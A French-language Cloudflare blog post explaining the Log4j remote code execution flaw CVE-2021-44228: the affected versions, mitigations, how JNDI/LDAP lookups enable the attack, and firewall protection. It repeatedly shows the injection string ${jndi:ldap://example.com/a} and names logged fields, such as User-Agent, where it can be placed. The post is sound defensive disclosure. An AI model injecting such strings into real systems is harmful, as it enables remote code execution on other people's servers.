Dans les versions précédentes de cette publication de blog, des techniques d’atténuation légèrement différentes étaient recommandées. Le projet Apache Log4j a mis à jour ses directives officielles, et nous avons mis à jour cette publication de blog conformément à ses recommandations.
Aujourd'hui, 9 décembre 2021, une très grave vulnérabilité concernant l'utilitaire de journalisation Java Log4j a été révélée. Cette vulnérabilité permet aux attaquants d'exécuter du code sur un serveur à distance ; ce qu'on appelle une injection de code ou exécution de code à distance (RCE pour l'anglais Remote Code Execution). Le recours à Java et Log4j étant devenu quasiment généralisé, il est probable qu'il s'agisse d'une des plus graves vulnérabilités touchant Internet depuis Heartbleed et ShellShock.
Il s’agit de la faille CVE-2021-44228, et elle concerne la version 2 de Log4j, entre les versions 2.0-beta-9 et 2.14.1. Elle fait l’objet d’un correctif dans la version 2.16.0.
Dans cet article, nous expliquons l'historique de cette vulnérabilité, la manière dont elle a été introduite, la façon dont Cloudflare protège nos clients. Le détail des tentatives d'exploitation dont nous avons observé qu'elles étaient bloquées par notre service de pare-feu figure dans un article de blog distinct.
Cloudflare utilise du logiciel Java et nos équipes ont fait en sorte que nos systèmes ne soient pas vulnérables devant cette faille ou que cette vulnérabilité puisse être atténuée. Parallèlement, nous avons déployé des règles de pare-feu destinées à protéger nos clients.
Toutefois, si vous travaillez pour une entreprise utilisant du logiciel Java faisant intervenir Log4j, il serait judicieux de lire immédiatement la section concernant la manière d'atténuer et de protéger vos systèmes avant de lire le reste.
Comment atténuer la faille CVE-2021-44228
Appliquez l’une des techniques d’atténuation suivantes : les utilisateurs de Java 8 (ou version ultérieure) doivent installer la version 2.16.0. Les utilisateurs de Java 7 doivent installer la version 2.12.2.
Par ailleurs, dans toute version autre que 2.16.0, vous pouvez supprimer la classe JndiLookup du chemin de classe : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Historique de la vulnérabilité
En 2013, dans la version 2.0-beta9, l'utilitaire Log4j a ajouté le module d'extension JNDILookup en lançant LOG4J2-313. Pour comprendre en quoi cette modification a pu créer un problème, il est nécessaire d'en savoir un peu plus sur JNDI : Java Naming and Directory Interface.
JNDI existe dans Java depuis 1990. Il s'agit d'un service d'annuaire qui permet à un programme Java de chercher des données (sous la forme d'un objet Java) dans un annuaire. JNDI compte un certain nombre d'interfaces de prestation de service (SPI) qui lui permettent d'utiliser divers services d'annuaire.
Par exemple, il existe des SPI pour CORBA COS (Common Object Service), le registre Java RMI (Remote Method Interface) et LDAP. LDAP (Lightweight Directory Access Protocol) est un service d'annuaire très populaire et il est le premier concerné par CVE-2021-44228 (même si d'autres SPI le sont potentiellement aussi).
Un programme Java peut utiliser JNDI et LDAP ensemble pour chercher un objet Java contenant les données dont il a éventuellement besoin. Par exemple, dans la documentation Java standard, un exemple s'adresse à un serveur LDAP pour récupérer les attributs d'un objet. Il utilise l'URL ldap://localhost:389/o=JNDITutorial
pour trouver l'objet JNDITutorial auprès d'un serveur LDAP exécuté sur la même machine (localhost) sur le port 389 et il s'en sert pour y lire les attributs.
Comme l'indique le tutoriel « Si votre serveur LDAP se trouve sur une autre machine ou s'il utilise un autre port, vous devez modifier l'URL LDAP ». Le serveur LDAP peut donc tourner sur une machine différente et potentiellement n'importe où sur Internet. Cette souplesse signifie que si un attaquant peut contrôler l'URL LDAP, il est en mesure de demander à un programme Java de charger un objet depuis un serveur dont il a le contrôle.
Ce sont les principes de base de JNDI et LDPA ; un élément utile de l'écosystème Java.
Mais dans le cas de Log4j, un attaquant peut contrôler l'URL LDAP pour essayer d'écrire une chaîne telle que ${jndi:ldap://example.com/a}
. S'il y parvient, Log4j se connecte au serveur LDAP sur exemple.com et récupère l'objet.
Une telle situation est possible car Log4j comporte une syntaxe particulière qui se présente comme suit, ${prefix:name} dans laquelle prefix est un des nombreux différents Lookups, et name doit prendre une valeur. Par exemple, ${java:version} est la version de Java en cours d'exécution.
LOG4J2-313 a ajouté un Lookup jndi qui se présente ainsi : « Le JndiLookup permet de récupérer des variables via JNDI. Par défaut, la clé aura comme préfixe java:comp/env/, toutefois, si la clé contient un « : » aucun préfixe ne sera ajouté. »
Avec un : dans la clé, comme dans ${jndi:ldap://example.com/a}
, il n'y a aucun préfixe et une requête pour l'objet est adressée au serveur LDAP. Ces Lookups peuvent être utilisés dans les deux configurations du Log4j ainsi que lorsque les lignes sont journalisées.
Ainsi, il suffit à un attaquant de chercher des données qui sont journalisées et d'ajouter quelque chose comme ${jndi:ldap://example.com/a}
. Il peut s'agir d'un en-tête HTTP courant tel que User-Agent (qui est couramment journalisé) ou encore d'un paramètre de formulaire tel que username, susceptible d'être journalisé.
C'est généralement très courant dans le cadre d'un logiciel Internet Java ayant recours à Log4j. Le risque le plus insidieux réside dans le fait que les logiciels qui ne sont pas utilisés sur Internet mais qui ont recours à Java peuvent également être exploités dans la mesure où les données sont transmises d'un système à l'autre.
Par exemple, une chaîne User-Agent contenant l'exploitation peut être transmise à un système backend écrit en code Java qui pratique l'indexation ou la science des données et l'exploitation peut être journalisée. C'est pourquoi il est essentiel que le logiciel Java qui utilise la version de Log4j bénéficie d'un correctif ou d'atténuations au plus vite. Même si le logiciel utilisé sur Internet n'est pas écrit en code Java, il est possible que ces chaînes soient transmises à d'autres systèmes en code Java, ce qui rend l'exploitation possible.
Autrement, imaginons un système de facturation Java qui enregistre les instances lorsque le prénom du client n'est pas trouvé. Un utilisateur malveillant peut créer une commande avec un prénom contenant l'exploitation et de multiples sauts (et beaucoup de temps) peuvent être nécessaires pour arriver au serveur web, par le biais d'une base de données client, jusqu'au système de facturation où l'exploitation sera enfin exécutée.
Et Java est utilisé pour beaucoup plus de systèmes, pas uniquement ceux qui sont sur Internet. Par exemple, il n'est pas difficile d'imaginer un système de manipulation de colis qui lit les codes QR sur des boîtes ou un ouvre-porte sans contact, les deux sont vulnérables car ils sont écrits en code Java et utilisent Log4j. Dans un cas, un code QR soigneusement conçu peut contenir une adresse postale qui comporte la chaîne d'exploitation ; dans l'autre un ouvre-porte minutieusement programmé peut comporter l'exploitation et être journalisé par un système de suivi des entrées et sorties.
Et il y a des risques que les systèmes qui fonctionnent périodiquement finissent par capturer l'exploitation et la journaliser même plus tard. L'exploitation peut donc rester en sommeil jusqu'à ce qu'une procédure d'indexation, de report ou d'archivage écrite en code java journalise par inadvertance la chaîne erronée. Des heures ou des jours plus tard.
Protection par pare-feu Cloudflare
Cloudflare a déployé une protection pour nos clients à l'aide de notre pare-feu sous la forme de règles qui bloquent le Lookup jndi à des emplacements courants dans une requête HTTP. Vous en trouverez le détail ici. Nous avons continué à peaufiner ces règles à mesure que les attaquants modifiaient leurs exploitations et nous poursuivrons ainsi.